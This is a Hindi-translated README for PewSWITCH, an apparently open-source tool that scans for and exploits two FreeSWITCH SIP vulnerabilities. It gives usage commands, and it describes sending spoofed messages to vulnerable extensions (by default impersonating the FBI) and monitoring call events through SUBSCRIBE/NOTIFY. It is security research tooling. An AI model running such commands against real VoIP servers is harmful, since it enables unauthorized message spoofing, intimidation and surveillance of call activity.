
एक FreeSWITCH-विशिष्ट स्कैनिंग और शोषण टूलकिट CVE-2021-37624 और CVE-2021-41157 के लिए।
CVE-2021-37624 और CVE-2021-41157 के लिए एक FreeSWITCH-विशिष्ट स्कैनिंग और शोषण टूलकिट।
संबंधित ब्लॉग: https://0xinfection.github.io/posts/analyzing-freeswitch-vulns/
टूल का सहायता कथन नीचे दिया गया है:
$ ./pewswitch --help
___ . ____ _ __ __
/ _ \___|\ __/ __/| __(_) /_____/ /
/ ___/ -_) |/|/ /\ \| |/|/ / / __/ __/ _ \
/_/ \__/|__,__/___/|__,__/_/\__/\__/_//_/ v0.1
"where we pew pew pew freeswitch"
Usage of ./pewswitch:
-cve string
Specify a specific CVE to scan. Both vulns are tested by default.
-delay int
Delay in seconds between subsequent requests. (default 0)
-events string
Comma-separated list of events to be subscribed to. All events are monitored by default.
-expires int
Maximum value of the 'Expires' header for SUBSCRIBE requests. (default 60)
-ext-file string
Specify a file containing extensions instead of '-exts'.
-exts string
Comma separated list of extensions to scan.
-msg-file string
Specify a CSV file containing messages to be sent (if found vulnerable to CVE-2021-37624).
-out-dir string
Output directory to write the results to. (default "./pewswitch-results/")
-out-format string
Output format type of the results. Can be either 'json' or 'csv'. (default "json")
-threads int
Number of threads to use while scanning. (default 2)
-user-agent string
Custom user-agent string to use. (default "pewswitch/0.1")
डिफ़ॉल्ट रूप से टूल दोनों भेद्यताओं के लिए स्कैन करता है। यदि आप किसी विशिष्ट भेद्यता के लिए परीक्षण करना चाहते हैं, तो आप -cve फ़्लैग का उपयोग कर सकते हैं।
उदाहरण:
./pewswitch -cve 'cve-2021-37624' -exts 1000 freeserver.voip.com
एक्सटेंशन निर्दिष्ट करने के लिए, आप निम्नलिखित में से कोई भी विधि चुन सकते हैं:
-exts आर्गुमेंट के माध्यम से एक्सटेंशन की अल्पविराम से अलग की गई सूची निर्दिष्ट करें।
उदाहरण:
./pewswitch -exts 1000,1001 freeserver.voip.com freeserver1.voip.com:5060
इससे टूल प्रत्येक एक्सटेंशन के लिए प्रत्येक होस्ट के साथ जोड़ियों के संयोजन का परीक्षण करेगा। इसलिए उपरोक्त कमांड में परीक्षण किए जाने वाले अंतिम लक्ष्य होंगे: [email protected], [email protected], [email protected]:5060 और [email protected]:5060।
एक्सटेंशन वाली एक फ़ाइल निर्दिष्ट करें। ध्यान दें कि फ़ाइल का उपयोग करते समय, आपको उपयोगकर्ता और होस्ट दोनों निर्दिष्ट करने होंगे। यह विशेष रूप से तब उपयोगी होता है जब आपको विशिष्ट सर्वरों पर विशिष्ट एक्सटेंशन का परीक्षण करना हो। ऐसी फ़ाइल का एक उदाहरण (जैसे extensions-sample.txt) इस तरह दिख सकता है:
[email protected]
[email protected]:5060
[email protected]:5660
...
उदाहरण:
./pewswitch -ext-file extensions-sample.txt
ध्यान दें कि यदि होस्ट के साथ कोई पोर्ट निर्दिष्ट नहीं है, तो डिफ़ॉल्ट रूप से पोर्ट 5060 डेस्टिनेशन पोर्ट के रूप में उपयोग किया जाएगा।
टूल 2 अलग-अलग फ़ॉर्मेट में आउटपुट दे सकता है, अर्थात् JSON और CSV। डिफ़ॉल्ट आउटपुट फ़ॉर्मेट JSON है। आउटपुट फ़ॉर्मेट को -out-format स्विच का उपयोग करके बदला जा सकता है।
उदाहरण:
./pewswitch -exts 1000 -out-format csv freeserver.voip.com
आप ./pewswitch-results/ निर्देशिका में json और csv दोनों फ़ॉर्मेट में रिपोर्ट के नमूने पा सकते हैं।
डेस्टिनेशन आउटपुट निर्देशिका को -out-dir आर्गुमेंट का उपयोग करके बदला जा सकता है। डिफ़ॉल्ट रूप से आउटपुट निर्देशिका ./pewswitch-results/ है, जो टूल चलाने के दौरान वर्तमान कार्यशील निर्देशिका में बनाई जाती है।
उदाहरण:
./pewswitch -ext-file extensions-sample.txt -out-dir /tmp
टूल में कुछ अतिरिक्त पैकेट-विशिष्ट सेटिंग्स हैं जो भेद्यता सत्यापन/शोषण के दौरान अनुरोधों के अनुकूलन की अनुमति देती हैं।
यदि कोई सर्वर CVE-2021-37624 के लिए असुरक्षित पाया जाता है, तो डिफ़ॉल्ट रूप से FBI नाम और 022-324-3000 नंबर से एक नमूना संदेश लक्ष्य एक्सटेंशन को भेजा जाता है। संदेश की सामग्री इस तरह दिखती है: FBI here. Open your door!
इस व्यवहार को -msg-file आर्गुमेंट का उपयोग करके बदला जा सकता है। यह एक CSV फ़ाइल स्वीकार करता है जिसमें प्रेषक का नाम, फ़ोन नंबर और भेजे जाने वाले संदेश की सामग्री शामिल होती है। ऐसी फ़ाइल का एक उदाहरण messages-sample.csv है।
sender_name,sender_phone,message
FBI,022-324-3000,FBI here. Open your door!
0xInfection,000-000-0000,Hi. Just confirming the vulnerability.
SPAMMY SALESMAN,BAD-GUY-9999,BUY MY STUFF!
उदाहरण:
./pewswitch -cve 'cve-2021-27624' -msg-file messages-sample.csv -exts 1000 freeserver.voip.com
डिफ़ॉल्ट रूप से, टूल SUBSCRIBE अनुरोध 60 सेकंड पर सेट Expires हेडर के साथ भेजता है। उसी समय-सीमा के लिए टूल सर्वर से NOTIFY संदेशों को सुनना जारी रखेगा। इस मान को -expires फ़्लैग का उपयोग करके बदला जा सकता है।
उदाहरण:
./pewswitch -expires 600 -ext-file extensions-sample.txt
टूल सभी ईवेंट्स की सदस्यता लेकर NOTIFY संदेशों की निगरानी भी करता है। सभी ईवेंट्स की सूची नीचे दी गई है:
talkholdconferenceas-feature-eventdialogline-seizecall-infoslainclude-session-descriptionpresencepresence.winfomessage-summaryreferइस व्यवहार को -events फ़्लैग द्वारा बदला जा सकता है, जो निगरानी के लिए ईवेंट्स की अल्पविराम से अलग की गई सूची लेता है। उदाहरण:
./pewswitch -cve 'cve-2021-41157' -events message-summary,presence -exts 1000,1002 freeserver.voip.com
आप Releases अनुभाग से पूर्व-निर्मित बाइनरी का उपयोग कर सकते हैं। या, यदि आप कोड स्वयं संकलित करना पसंद करते हैं, तो आपको Go > 1.13 की आवश्यकता होगी। टूल बनाने के लिए, आप go build चला सकते हैं जो आपको चलाने के लिए एक बाइनरी देगा।
टूल MIT लाइसेंस के तहत उपलब्ध है। इसके साथ जो चाहें करने के लिए स्वतंत्र महसूस करें। :)
वर्तमान में, PewSWITCH v0.1 पर है।
नए अनुरोध और सुविधाएँ? एक issue या pull request बनाने के लिए स्वतंत्र महसूस करें।
यदि आपको कुछ चर्चा करनी है, तो आप मुझसे ट्विटर/ईमेल के माध्यम से मेरे प्रोफ़ाइल पर संपर्क कर सकते हैं।
♡ के साथ बनाया गया Pinaki द्वारा।